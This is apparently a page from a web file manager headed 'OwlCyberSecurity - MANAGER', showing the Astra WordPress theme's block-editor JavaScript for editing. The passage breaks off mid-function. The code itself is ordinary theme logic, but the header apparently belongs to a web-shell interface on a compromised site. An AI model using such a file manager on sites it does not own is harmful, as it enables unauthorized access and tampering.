OwlCyberSecurity - MANAGER
Edit File: block-editor-script.js
window.addEventListener( 'load', function(e) { astra_onload_function(); }); document.addEventListener('DOMContentLoaded', function () { if ( astraColors?.is_dark_palette ) { document.documentElement.classList.add('astra-dark-mode-enable'); } }); // Function to add block editor dynamic styles. function blockEditorDynamicStyles() { setTimeout(() => { const iframes = document.getElementsByTagName('iframe'); if (!iframes?.length) return; const cloneLinkElement = (id) => { const element = document.getElementById(id); return element ? element.cloneNode(true) : null; } const googleFontsStyle = cloneLinkElement('astra-google-fonts-css'); const appendLinkIfNotExists = (iframeDoc, clonedLink, linkId) => { if (clonedLink && !iframeDoc.getElementById(linkId)) { iframeDoc.head.appendChild(clonedLink); } } for (const iframe of iframes) { try { const iframeDoc = iframe?.contentWindow?.document || iframe?.contentDocument; if (iframeDoc?.head) { appendLinkIfNotExists(iframeDoc, googleFontsStyle, 'astra-google-fonts-css'); } } catch { // Access denied to iframe document. } } }, 1000); } function addTitleVisibility() { let titleVisibility = document.querySelector( '.title-visibility' ), titleBlock = document.querySelector( '.edit-post-visual-editor__post-title-wrapper' ), editorDocument = document, postTitleOption = ( undefined !== wp.data.select( 'core/editor' ) && null !== wp.data.select( 'core/editor' ) && undefined !== wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' ) && wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' )['site-post-title'] ) ? wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' )['site-post-title'] : ''; if ( astraColors.ast_wp_version_higher_6_3 ) { let desktopPreview = document.getElementsByClassName('is-desktop-preview'), tabletPreview = document.getElementsByClassName('is-tablet-preview'), mobilePreview = document.getElementsByClassName('is-mobile-preview'), devicePreview = desktopPreview[0]; if ( tabletPreview.length > 0 ) { devicePreview = tabletPreview[0]; } else if ( mobilePreview.length > 0 ) { devicePreview = mobilePreview[0]; } let iframe = undefined !== devicePreview ? devicePreview.getElementsByTagName('iframe')[0] : undefined; if ( iframe && devicePreview.querySelector('iframe') !== null ) { editorDocument = iframe.contentWindow.document || iframe.contentDocument; } // Addressed the WordPress 6.5 issue involving an extraneous iframe layer. if ( ! iframe && astraColors.ast_wp_version_higher_6_4 ) { let _iframe = document.querySelector('.editor-canvas__iframe') || document.querySelector('.block-editor-iframe__scale-container iframe[name="editor-canvas"]'); editorDocument = _iframe ? _iframe.contentWindow.document : editorDocument; if (editorDocument) { titleVisibility = editorDocument.querySelector('.title-visibility'); titleBlock = editorDocument.querySelector('.edit-post-visual-editor__post-title-wrapper'); } } } if( null !== titleBlock && null === titleVisibility ) { let titleVisibilityTrigger = '<span class="ast-title title-visibility" data-tooltip="Disable Title"> <svg xmlns="http://www.w3.org/2000/svg" width="0px" viewBox="0 0 576 512"><path d="M572.52 241.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400a144 144 0 1 1 144-144 143.93 143.93 0 0 1-144 144zm0-240a95.31 95.31 0 0 0-25.31 3.79 47.85 47.85 0 0 1-66.9 66.9A95.78 95.78 0 1 0 288 160z"></path></svg> </span>'; if ( 'disabled' === postTitleOption ) { titleVisibilityTrigger = '<span class="ast-title title-visibility" data-tooltip="Enable Title"> <svg xmlns="http://www.w3.org/2000/svg" width="0px" viewBox="0 0 640 512"><path d="M320 400c-75.85 0-137.25-58.71-142.9-133.11L72.2 185.82c-13.79 17.3-26.48 35.59-36.72 55.59a32.35 32.35 0 0 0 0 29.19C89.71 376.41 197.07 448 320 448c26.91 0 52.87-4 77.89-10.46L346 397.39a144.13 144.13 0 0 1-26 2.61zm313.82 58.1l-110.55-85.44a331.25 331.25 0 0 0 81.25-102.07 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64a308.15 308.15 0 0 0-147.32 37.7L45.46 3.37A16 16 0 0 0 23 6.18L3.37 31.45A16 16 0 0 0 6.18 53.9l588.36 454.73a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zm-183.72-142l-39.3-30.38A94.75 94.75 0 0 0 416 256a94.76 94.76 0 0 0-121.31-92.21A47.65 47.65 0 0 1 304 192a46.64 46.64 0 0 1-1.54 10l-73.61-56.89A142.31 142.31 0 0 1 320 112a143.92 143.92 0 0 1 144 144c0 21.63-5.29 41.79-13.9 60.11z"></path></svg> </span>'; } if ( null === titleVisibility ) { titleBlock.insertAdjacentHTML( 'beforeend', titleVisibilityTrigger ); } let titleVisibilityTriggerElement = editorDocument.querySelector( '.title-visibility' ), titleVisibilityWrapper = editorDocument.querySelector( '.edit-post-visual-editor__post-title-wrapper' ); if (titleVisibilityWrapper) { if ('disabled' === postTitleOption && !titleVisibilityWrapper.classList.contains('invisible')) { titleVisibilityWrapper.classList.add('invisible'); } else { titleVisibilityWrapper.classList.remove('invisible'); } titleVisibilityTriggerElement.addEventListener("click", function() { let metaTitleOptions = postTitleOption || ''; if ( this.parentNode.classList.contains( 'invisible' ) && ( 'disabled' === metaTitleOptions || '' === metaTitleOptions ) ) { this.parentNode.classList.remove( 'invisible' ); this.dataset.tooltip = 'Disable Title'; titleVisibilityTriggerElement.innerHTML = ''; titleVisibilityTriggerElement.innerHTML = '<svg xmlns="http://www.w3.org/2000/svg" width="0px" viewBox="0 0 576 512"><path d="M572.52 241.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400a144 144 0 1 1 144-144 143.93 143.93 0 0 1-144 144zm0-240a95.31 95.31 0 0 0-25.31 3.79 47.85 47.85 0 0 1-66.9 66.9A95.78 95.78 0 1 0 288 160z"></path></svg>'; wp.data.dispatch( 'core/editor' ).editPost( { meta: { 'site-post-title': '', } } ); } else { this.parentNode.classList.add( 'invisible' ); this.dataset.tooltip = 'Enable Title'; titleVisibilityTriggerElement.innerHTML = ''; titleVisibilityTriggerElement.innerHTML = '<svg xmlns="http://www.w3.org/2000/svg" width="0px" viewBox="0 0 640 512"><path d="M320 400c-75.85 0-137.25-58.71-142.9-133.11L72.2 185.82c-13.79 17.3-26.48 35.59-36.72 55.59a32.35 32.35 0 0 0 0 29.19C89.71 376.41 197.07 448 320 448c26.91 0 52.87-4 77.89-10.46L346 397.39a144.13 144.13 0 0 1-26 2.61zm313.82 58.1l-110.55-85.44a331.25 331.25 0 0 0 81.25-102.07 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64a308.15 308.15 0 0 0-147.32 37.7L45.46 3.37A16 16 0 0 0 23 6.18L3.37 31.45A16 16 0 0 0 6.18 53.9l588.36 454.73a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zm-183.72-142l-39.3-30.38A94.75 94.75 0 0 0 416 256a94.76 94.76 0 0 0-121.31-92.21A47.65 47.65 0 0 1 304 192a46.64 46.64 0 0 1-1.54 10l-73.61-56.89A142.31 142.31 0 0 1 320 112a143.92 143.92 0 0 1 144 144c0 21.63-5.29 41.79-13.9 60.11z"></path></svg>'; wp.data.dispatch( 'core/editor' ).editPost( { meta: { 'site-post-title': 'disabled', } } ); } }); } } } function siteLogoImageChange() { let mobileLogoState = astraColors.mobile_logo_state; if (!mobileLogoState) { return; } let mobileLogo = astraColors.mobile_logo; // Added OR condtion to check iframe content from WordPress 6.6 structure. let iframe = document.querySelector('.editor-canvas__iframe') || document.querySelector('.block-editor-iframe__scale-container iframe[name="editor-canvas"]'); if (iframe) { let is_desktop = iframe.contentWindow.document.querySelector( ".is-desktop-preview" ); if (!is_desktop) { let iframeDoc = iframe.contentDocument || iframe.contentWindow.document; let logoElement = iframeDoc.querySelector(".custom-logo"); if (logoElement) { // Updating logo in the editor iframe preview with the mobile logo. logoElement.setAttribute("src", mobileLogo); } } } } function astra_onload_function() { /* Do things after DOM has fully loaded */ var astraMetaBox = document.querySelector( '#astra_settings_meta_box' ); if( astraMetaBox != null ){ var titleCheckbox = document.getElementById('site-post-title'); if( null === titleCheckbox ) { titleCheckbox = document.querySelector('.site-post-title input'); } if( null !== titleCheckbox ) { titleCheckbox.addEventListener('change',function() { var titleBlock = document.querySelector('.editor-post-title__block'); if( null !== titleBlock ) { if( titleCheckbox.checked ){ titleBlock.style.opacity = '0.2'; } else { titleBlock.style.opacity = '1.0'; } } }); } } wp.data.subscribe(function () { setTimeout( function () { // Title visibility with new editor compatibility update. var titleBlock = document.querySelector( '.edit-post-visual-editor__post-title-wrapper' ), editorDocument = document; // Excuting responsive site logo change function. siteLogoImageChange(); // Adding title visibility icon on wp.data.subscribe. addTitleVisibility(); // Block editor dynamic style function. blockEditorDynamicStyles(); if ( astraColors.ast_wp_version_higher_6_3 ) { let desktopPreview = document.getElementsByClassName('is-desktop-preview'), tabletPreview = document.getElementsByClassName('is-tablet-preview'), mobilePreview = document.getElementsByClassName('is-mobile-preview'), devicePreview = desktopPreview[0]; if ( tabletPreview.length > 0 ) { devicePreview = tabletPreview[0]; } else if ( mobilePreview.length > 0 ) { devicePreview = mobilePreview[0]; } let iframe = undefined !== devicePreview ? devicePreview.getElementsByTagName('iframe')[0] : undefined; if ( iframe && devicePreview.querySelector('iframe') !== null ) { editorDocument = iframe.contentWindow.document || iframe.contentDocument; } // Addressed the WordPress 6.5 issue involving an extraneous iframe layer. if ( ! iframe && astraColors.ast_wp_version_higher_6_4 ) { const _iframe = document.querySelector('.editor-canvas__iframe') || document.querySelector('.block-editor-iframe__scale-container iframe[name="editor-canvas"]'); if ( !! _iframe ){ editorDocument = _iframe.contentWindow.document ; } } titleBlock = editorDocument.querySelector( '.edit-post-visual-editor__post-title-wrapper' ); } // Compatibility for updating layout in editor with direct reflection. const contentLayout = ( undefined !== wp.data.select( 'core/editor' ) && null !== wp.data.select( 'core/editor' ) && undefined !== wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' ) && wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' )['ast-site-content-layout'] ) ? wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' )['ast-site-content-layout'] : 'default', bodyClass = document.querySelector('body'); editorBodyClass = astraColors.ast_wp_version_higher_6_3 ? editorDocument.querySelector('html') : false; const contentStyle = ( undefined !== wp.data.select( 'core/editor' ) && null !== wp.data.select( 'core/editor' ) && undefined !== wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' ) && wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' )['site-content-style'] ) ? wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' )['site-content-style'] : 'default'; const sidebarStyle = ( undefined !== wp.data.select( 'core/editor' ) && null !== wp.data.select( 'core/editor' ) && undefined !== wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' ) && wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' )['site-sidebar-style'] ) ? wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' )['site-sidebar-style'] : 'default'; const sidebarLayout = ( undefined !== wp.data.select( 'core/editor' ) && null !== wp.data.select( 'core/editor' ) && undefined !== wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' ) && wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' )['site-sidebar-layout'] ) ? wp.data.select( 'core/editor' ).getEditedPostAttribute( 'meta' )['site-sidebar-layout'] : 'default'; const applyContainerLayoutClasses = (layout) => { switch (layout) { case "plain-container": bodyClass.classList.add("ast-plain-container"); bodyClass.classList.remove( "ast-two-container", "ast-page-builder-template", "ast-separate-container", "ast-narrow-container" ); if ( editorBodyClass ) { editorBodyClass.classList.add("ast-plain-container"); editorBodyClass.classList.remove( "ast-two-container", "ast-page-builder-template", "ast-separate-container", "ast-narrow-container" ); } break; case "content-boxed-container": bodyClass.classList.add("ast-separate-container"); bodyClass.classList.remove( "ast-two-container", "ast-page-builder-template", "ast-plain-container", "ast-narrow-container" ); if ( editorBodyClass ) { editorBodyClass.classList.add("ast-separate-container"); editorBodyClass.classList.remove( "ast-two-container", "ast-page-builder-template", "ast-plain-container", "ast-narrow-container" ); } break; case "boxed-container": bodyClass.classList.add( "ast-separate-container", "ast-two-container" ); bodyClass.classList.remove( "ast-page-builder-template", "ast-plain-container", "ast-narrow-container" ); if ( editorBodyClass ) { editorBodyClass.classList.add( "ast-separate-container", "ast-two-container" ); editorBodyClass.classList.remove( "ast-page-builder-template", "ast-plain-container", "ast-narrow-container" ); } break; case "page-builder-template": bodyClass.classList.add("ast-page-builder-template"); bodyClass.classList.remove( "ast-two-container", "ast-plain-container", "ast-separate-container", "ast-narrow-container" ); if ( editorBodyClass ) { editorBodyClass.classList.add("ast-page-builder-template"); editorBodyClass.classList.remove( "ast-two-container", "ast-plain-container", "ast-separate-container", "ast-narrow-container" ); } break; case "narrow-container": bodyClass.classList.add("ast-narrow-container"); bodyClass.classList.remove( "ast-two-container", "ast-plain-container", "ast-separate-container", "ast-page-builder-template" ); if ( editorBodyClass ) { editorBodyClass.classList.add("ast-narrow-container"); editorBodyClass.classList.remove( "ast-two-container", "ast-plain-container", "ast-separate-container", "ast-page-builder-template" ); } break; default: break; } }; switch( contentLayout ) { case 'normal-width-container': applyContainerLayoutClasses( 'plain-container' ); break; case 'narrow-width-container': applyContainerLayoutClasses( 'narrow-container' ); break; case 'full-width-container': applyContainerLayoutClasses( 'page-builder-template' ); break; case 'default': if( bodyClass && bodyClass.classList.contains( 'ast-default-layout-boxed-container' ) ) { applyContainerLayoutClasses( 'boxed-container' ); } else if( bodyClass && bodyClass.classList.contains( 'ast-default-layout-content-boxed-container' ) ) { applyContainerLayoutClasses( 'content-boxed-container' ); } else if( bodyClass && bodyClass.classList.contains( 'ast-default-layout-page-builder' ) ) { applyContainerLayoutClasses( 'page-builder-template' ); } else if( bodyClass && bodyClass.classList.contains( 'ast-default-layout-plain-container' ) ) { applyContainerLayoutClasses( 'plain-container' ); } else if( bodyClass && bodyClass.classList.contains( 'ast-default-layout-narrow-container' ) ) { applyContainerLayoutClasses( 'narrow-container' ); } break; } const is_default_boxed = bodyClass && bodyClass.classList.contains( 'ast-default-layout-boxed-container' ) ? true : false; const is_default_content_boxed = bodyClass && bodyClass.classList.contains( 'ast-default-layout-content-boxed-container' ) ? true : false; const is_default_normal = bodyClass && bodyClass.classList.contains( 'ast-default-layout-plain-container' ) ? true : false; const is_default_normal_width = ( 'default' === contentLayout && ( is_default_boxed || is_default_content_boxed || is_default_normal ) ); const is_content_style_boxed = bodyClass && bodyClass.classList.contains( 'ast-default-content-style-boxed' ) ? true : false; const is_sidebar_style_boxed = bodyClass && bodyClass.classList.contains( 'ast-default-sidebar-boxed' ) ? true : false; if ( 'normal-width-container' === contentLayout || is_default_normal_width ) { switch ( contentStyle ) { case 'boxed': applyContainerLayoutClasses( 'boxed-container' ); break; case 'unboxed': applyContainerLayoutClasses( 'plain-container' ); break; default: if ( is_content_style_boxed ) { applyContainerLayoutClasses( 'boxed-container' ); } break; } const is_sidebar_default_enabled = 'default' === sidebarLayout && ( ! bodyClass.classList.contains( 'ast-sidebar-default-no-sidebar' ) ); if( ( 'default' !== sidebarLayout && 'no-sidebar' !== sidebarLayout || is_sidebar_default_enabled ) ) { switch ( sidebarStyle ) { case 'boxed': applyContainerLayoutClasses( 'boxed-container' ); break; case 'unboxed': applyContainerLayoutClasses( 'content-boxed-container' ); if ( 'unboxed' === contentStyle || 'default' === contentStyle && ! is_content_style_boxed ) { applyContainerLayoutClasses( 'plain-container' ); } break; default: if ( ( 'unboxed' === contentStyle && ! is_sidebar_style_boxed ) || ( 'default' === contentStyle && ! is_sidebar_style_boxed && ! is_content_style_boxed ) ) { applyContainerLayoutClasses( 'plain-container' ); } else if ( is_sidebar_style_boxed ) { applyContainerLayoutClasses( 'boxed-container' ); } else if ( ! is_sidebar_style_boxed ) { applyContainerLayoutClasses( 'content-boxed-container' ); } break; } } } // Narrow + Boxed compatibility in editor. if ( 'narrow-width-container' === contentLayout && ( 'boxed' === contentStyle || 'default' === contentStyle && is_content_style_boxed ) ) { let editorArea = document.querySelector('.edit-post-visual-editor__content-area'); if ( ! editorArea ) { editorArea = document.querySelector('.edit-post-visual-editor'); } if ( editorArea ) { editorArea.style.padding = '20px'; } } else { let editorArea = document.querySelector('.edit-post-visual-editor__content-area'); if ( ! editorArea ) { editorArea = document.querySelector('.edit-post-visual-editor'); } if ( editorArea ) { editorArea.style.padding = '0px'; } } // Container unboxed + sidebar boxed case. let isUnboxedContainer = false; const is_sidebar_default_enabled = 'default' === sidebarLayout && ( ! bodyClass.classList.contains( 'ast-sidebar-default-no-sidebar' ) ); if ( ( 'normal-width-container' === contentLayout || is_default_normal_width ) ) { if ( is_sidebar_default_enabled || 'no-sidebar' !== sidebarLayout && 'default' !== sidebarLayout ) { if ( 'default' === contentStyle && ! is_content_style_boxed || 'unboxed' === contentStyle ) { if ( 'boxed' === sidebarStyle || 'default' === sidebarStyle && is_sidebar_style_boxed ) { isUnboxedContainer = true; } } } } const editorStylesWrapper = editorDocument.querySelector( '.editor-styles-wrapper' ); if( null !== editorStylesWrapper ) { const editorStylesWrapperWidth = parseInt( editorStylesWrapper.offsetWidth ) if( editorStylesWrapperWidth < 1350 ) { editorStylesWrapper.classList.remove( 'ast-stacked-title-visibility' ); editorStylesWrapper.classList.add( 'ast-stacked-title-visibility' ); } else { editorStylesWrapper.classList.remove( 'ast-stacked-title-visibility' ); } } /** * In WP-5.9 block editor comes up with color palette showing color-code canvas, but with theme var() CSS its appearing directly as it is. So updated them on wp.data event. */ const customColorPickerButtons = document.querySelectorAll( '.components-color-palette__custom-color-value' ); for ( let btnCount = 0; btnCount < customColorPickerButtons.length; btnCount++ ) { let colorCode = customColorPickerButtons[btnCount].innerText, transformedCode = colorCode.toLowerCase(); if ( colorCode.indexOf( 'VAR(--AST-GLOBAL-COLOR' ) > -1 ) { customColorPickerButtons[btnCount].innerHTML = astraColors[ transformedCode ]; } } // Show post/page title wrapper outline & eye icon only when clicked. const titleInput = editorDocument.querySelector('.editor-post-title__input'); const visibilityIcon = editorDocument.querySelector('.title-visibility'); if( null != titleInput && null != visibilityIcon ) { if ( ! astraColors.ast_wp_version_higher_6_3 ) { editorDocument.addEventListener('click', function (event){ if( ! titleBlock.contains( event.target ) ){ visibilityIcon.classList.remove('ast-show-visibility-icon'); titleInput.classList.remove('ast-show-editor-title-outline'); } }); } editorDocument.addEventListener('visibilitychange', function (){ visibilityIcon.classList.remove('ast-show-visibility-icon'); titleInput.classList.remove('ast-show-editor-title-outline'); }); titleBlock.addEventListener('focusout', function (){ visibilityIcon.classList.remove('ast-show-visibility-icon'); titleInput.classList.remove('ast-show-editor-title-outline'); }); titleBlock.addEventListener('click', function (){ visibilityIcon.classList.add('ast-show-visibility-icon'); titleInput.classList.add('ast-show-editor-title-outline'); }); titleInput.addEventListener('input', function (){ visibilityIcon.classList.add('ast-show-visibility-icon'); this.classList.add('ast-show-editor-title-outline'); }); } var responsivePreview = document.querySelectorAll( '.is-tablet-preview, .is-mobile-preview' ); if( responsivePreview.length ) { document.body.classList.add( 'responsive-enabled' ); } else { document.body.classList.remove( 'responsive-enabled' ); } // Adding 'inherit-container-width' width to Group block externally. let postBlocks = ( undefined !== wp.data.select( 'core/editor' ) && null !== wp.data.select( 'core/editor' ) && undefined !== wp.data.select( 'core/editor' ).getCurrentPost() && undefined !== wp.data.select( 'core/block-editor' ).getBlocks() ) ? wp.data.select( 'core/block-editor' ).getBlocks() : false, groupBlocks = document.querySelectorAll( '.block-editor-block-list__layout.is-root-container > .wp-block-group' ); if( postBlocks && groupBlocks ) { for ( let blockNum = 0; blockNum < postBlocks.length; blockNum++ ) { if( 'core/group' === postBlocks[blockNum].name && undefined !== postBlocks[blockNum].attributes && undefined !== postBlocks[blockNum].attributes.layout && undefined !== postBlocks[blockNum].attributes.layout.inherit ) { if( undefined === groupBlocks[blockNum] ) { return; } if( ! postBlocks[blockNum].attributes.layout.inherit ) { groupBlocks[blockNum].classList.remove( 'inherit-container-width' ); } if( postBlocks[blockNum].attributes.layout.inherit && ! groupBlocks[blockNum].classList.contains( 'inherit-container-width' ) ) { groupBlocks[blockNum].classList.add( 'inherit-container-width' ); } } } } // Live reflections for page background setting. if ( astraColors.is_astra_pro_colors_activated ) { const backgroundToggle = (undefined !== wp.data.select('core/editor') && null !== wp.data.select('core/editor') && undefined !== wp.data.select('core/editor').getEditedPostAttribute('meta') && wp.data.select('core/editor').getEditedPostAttribute('meta')['ast-page-background-enabled']) ? wp.data.select('core/editor').getEditedPostAttribute('meta')['ast-page-background-enabled'] : 'default'; if ( 'enabled' === backgroundToggle ) { if ( isUnboxedContainer ) { updatePageBackground( false, isUnboxedContainer ); } else { updatePageBackground(); } } else if ( 'default' === backgroundToggle ) { updatePageBackground( true ); } } }, 1 ); }); // Redirect to Site Builder on click of "View Posts" Icon if Site Builder layout. if ( document && document.body ) { const isSiteBuilderLayout = document.body.classList.contains( 'post-type-astra-advanced-hook' ); if ( isSiteBuilderLayout ) { const viewPostsIcon = document.querySelector( '#editor .interface-navigable-region .edit-post-header > div a.components-button.edit-post-fullscreen-mode-close' ); if ( viewPostsIcon ) { viewPostsIcon.addEventListener( 'click', function(e) { e.preventDefault(); window.location.href = astraColors.site_builder_url; }); } } } } /* * Updates the page background css from the color picker. */ const updatePageBackground = ( apply_customizer_default = false, isUnboxedContainer = false ) => { // Document as per wp version. let editorDoc = document; let _iframe = document.querySelector("#editor iframe.editor-canvas__iframe") || document.querySelector('.block-editor-iframe__scale-container iframe[name="editor-canvas"]'); if (_iframe && astraColors.ast_wp_version_higher_6_4) { editorDoc = _iframe.contentWindow.document; } let desktopPreview = editorDoc.getElementsByClassName('is-desktop-preview'), tabletPreview = editorDoc.getElementsByClassName('is-tablet-preview'), mobilePreview = editorDoc.getElementsByClassName('is-mobile-preview'), devicePreview = desktopPreview[0]; if ( astraColors.ast_wp_version_higher_6_3 ) { if ( tabletPreview.length > 0 ) { devicePreview = tabletPreview[0]; } else if ( mobilePreview.length > 0 ) { devicePreview = mobilePreview[0]; } let iframe = undefined !== devicePreview ? devicePreview.getElementsByTagName('iframe')[0] : undefined; if ( iframe && devicePreview.querySelector('iframe') !== null ) { editorDoc = iframe.contentWindow.document || iframe.contentDocument; } } if ( apply_customizer_default ) { if ( document ) { const pageBgWrapper = document.querySelector('#editor .edit-post-visual-editor'); if ( pageBgWrapper ) { pageBgWrapper.style['background-color'] = ''; pageBgWrapper.style['background-image'] = ''; pageBgWrapper.style['background-size'] = ''; pageBgWrapper.style['background-position'] = ''; pageBgWrapper.style['background-repeat'] = ''; pageBgWrapper.style['background-attachment'] = ''; } } if ( editorDoc ) { const contentBgWrapper = editorDoc.querySelector('.editor-styles-wrapper'); if ( contentBgWrapper ) { contentBgWrapper.style['background-color'] = ''; contentBgWrapper.style['background-image'] = ''; contentBgWrapper.style['background-size'] = ''; contentBgWrapper.style['background-position'] = ''; contentBgWrapper.style['background-repeat'] = ''; contentBgWrapper.style['background-attachment'] = ''; } } return; } let bgObj = (undefined !== wp.data.select('core/editor') && null !== wp.data.select('core/editor') && undefined !== wp.data.select('core/editor').getEditedPostAttribute('meta') && wp.data.select('core/editor').getEditedPostAttribute('meta')['ast-page-background-meta']) ? wp.data.select('core/editor').getEditedPostAttribute('meta')['ast-page-background-meta'] : 'default'; let contentObj = (undefined !== wp.data.select('core/editor') && null !== wp.data.select('core/editor') && undefined !== wp.data.select('core/editor').getEditedPostAttribute('meta') && wp.data.select('core/editor').getEditedPostAttribute('meta')['ast-content-background-meta']) ? wp.data.select('core/editor').getEditedPostAttribute('meta')['ast-content-background-meta'] : 'default'; if ( desktopPreview.length > 0 ) { // Get the background object css values and update page background. const desktopCSS = astraGetResponsiveBackgroundObj(bgObj, 'desktop'); applyStylesToElement('#editor .edit-post-visual-editor', desktopCSS, document ); // Check current layout. is_boxed_based_layout = false; if ( document && document.querySelector('body') ) { is_boxed_based_layout = document.querySelector('body').classList.contains('ast-separate-container'); } if ( astraColors.apply_content_bg_fullwidth && ( ! is_boxed_based_layout ) ) { /** Fullwidth with Content Bg */ // Get the background object css values and update page content background. const desktopContentCSS = astraGetResponsiveBackgroundObj(contentObj, 'desktop'); applyStylesToElement('.editor-styles-wrapper', desktopContentCSS, editorDoc ); } else if ( ! astraColors.apply_content_bg_fullwidth && ( ! is_boxed_based_layout ) ) { /** Fullwidth with Page Bg */ // Get the background object css values and update page background. const desktopCSS = astraGetResponsiveBackgroundObj(bgObj, 'desktop'); applyStylesToElement('.editor-styles-wrapper', desktopCSS, document ); } else if ( is_boxed_based_layout ) { /** Boxed Layouts with Content Bg & Page Bg */ // Get the background object css values and update page background. const desktopCSS = astraGetResponsiveBackgroundObj(bgObj, 'desktop'); applyStylesToElement('#editor .edit-post-visual-editor', desktopCSS, document ); // Get the background object css values and update page content background. const desktopContentCSS = astraGetResponsiveBackgroundObj(contentObj, 'desktop'); applyStylesToElement('.editor-styles-wrapper', desktopContentCSS, editorDoc ); } if ( isUnboxedContainer ) { // Container unboxed + sidebar boxed -> update page content background to site background. applyStylesToElement('.editor-styles-wrapper', desktopCSS, editorDoc ); } } else if ( tabletPreview.length > 0 ) { // Check current layout. is_boxed_based_layout = false; if ( document && document.querySelector('body') ) { is_boxed_based_layout = document.querySelector('body').classList.contains('ast-separate-container'); } if ( astraColors.apply_content_bg_fullwidth && ( ! is_boxed_based_layout ) ) { /** Fullwidth with Content Bg */ // Get the background object css values and update page content background. const tabletContentCSS = astraGetResponsiveBackgroundObj(contentObj, 'tablet'); applyStylesToElement('.editor-styles-wrapper', tabletContentCSS, editorDoc ); // Set page background to black to indicate that page background not applicable. applyStylesToElement('#editor .edit-post-visual-editor', {'background-color' : '#363636'}, document ); } else if ( ! astraColors.apply_content_bg_fullwidth && ( ! is_boxed_based_layout ) ) { /** Fullwidth with Page Bg */ // Get the background object css values and update page background. const tabletCSS = astraGetResponsiveBackgroundObj(bgObj, 'tablet'); applyStylesToElement('.editor-styles-wrapper', tabletCSS, document ); } else if ( is_boxed_based_layout ) { /** Boxed Layouts with Content Bg & Page Bg */ // Get the background object css values and update page background. const tabletCSS = astraGetResponsiveBackgroundObj(bgObj, 'tablet'); applyStylesToElement('#editor .edit-post-visual-editor', tabletCSS, document ); // Get the background object css values and update page content background. const tabletContentCSS = astraGetResponsiveBackgroundObj(contentObj, 'tablet'); applyStylesToElement('.editor-styles-wrapper', tabletContentCSS, editorDoc ); } } else if ( mobilePreview.length > 0 ) { // Check current layout. is_boxed_based_layout = false; if ( document && document.querySelector('body') ) { is_boxed_based_layout = document.querySelector('body').classList.contains('ast-separate-container'); } if ( astraColors.apply_content_bg_fullwidth && ( ! is_boxed_based_layout ) ) { /** Fullwidth with Content Bg */ // Get the background object css values and update page content background. const mobileContentCSS = astraGetResponsiveBackgroundObj(contentObj, 'mobile'); applyStylesToElement('.editor-styles-wrapper', mobileContentCSS, editorDoc ); // Set page background to black to indicate that page background not applicable. applyStylesToElement('#editor .edit-post-visual-editor', {'background-color' : '#363636'}, document ); } else if ( ! astraColors.apply_content_bg_fullwidth && ( ! is_boxed_based_layout ) ) { /** Fullwidth with Page Bg */ // Get the background object css values and update page background. const mobileCSS = astraGetResponsiveBackgroundObj(bgObj, 'mobile'); applyStylesToElement('.editor-styles-wrapper', mobileCSS, document ); } else if ( is_boxed_based_layout ) { /** Boxed Layouts with Content Bg & Page Bg */ // Get the background object css values and update page background. const mobileCSS = astraGetResponsiveBackgroundObj(bgObj, 'mobile'); applyStylesToElement('#editor .edit-post-visual-editor', mobileCSS, document ); // Get the background object css values and update page content background. const mobileContentCSS = astraGetResponsiveBackgroundObj(contentObj, 'mobile'); applyStylesToElement('.editor-styles-wrapper', mobileContentCSS, editorDoc ); } } } /* * Dynamically applies styles to DOM element. */ function applyStylesToElement( selector, styles, docObj ) { if ( docObj ) { const element = docObj.querySelector(selector); if (element) { // Remove any prior cache values if set already. element.style.backgroundImage = 'none'; Object.keys(styles).forEach((property) => { element.style[property] = styles[property]; }); } else { console.error(`Element with selector "${selector}" not found.`); } } } /* * Generate Responsive Background Color CSS. */ function astraGetResponsiveBackgroundObj(bgObjRes, device) { const genBgCss = {}; const bgObj = bgObjRes[device]; const bgImg = bgObj['background-image'] || ''; const bgTabImg = bgObjRes['tablet']['background-image'] || ''; const bgDeskImg = bgObjRes['desktop']['background-image'] || ''; const bgColor = bgObj['background-color'] || ''; const tabletCss = bgObjRes['tablet']['background-image'] ? true : false; const desktopCss = bgObjRes['desktop']['background-image'] ? true : false; const bgType = bgObj['background-type'] || ''; if ('' !== bgType) { switch (bgType) { case 'color': if ('' !== bgImg && '' !== bgColor) { genBgCss['background-image'] = `linear-gradient(to right, ${bgColor}, ${bgColor}), url(${bgImg})`; } else if ('mobile' === device) { if (desktopCss) { genBgCss['background-image'] = `linear-gradient(to right, ${bgColor}, ${bgColor}), url(${bgDeskImg})`; } else if (tabletCss) { genBgCss['background-image'] = `linear-gradient(to right, ${bgColor}, ${bgColor}), url(${bgTabImg})`; } else { if ('' !== bgColor) { genBgCss['background-color'] = bgColor; genBgCss['background-image'] = 'none'; } } } else if ('tablet' === device) { if (desktopCss) { genBgCss['background-image'] = `linear-gradient(to right, ${bgColor}, ${bgColor}), url(${bgDeskImg})`; } else { if ('' !== bgColor) { genBgCss['background-color'] = bgColor; genBgCss['background-image'] = 'none'; } } } else if ('' === bgImg) { genBgCss['background-color'] = bgColor; genBgCss['background-image'] = 'none'; } break; case 'image': const overlayType = bgObj['overlay-type'] || 'none'; const overlayColor = bgObj['overlay-color'] || ''; const 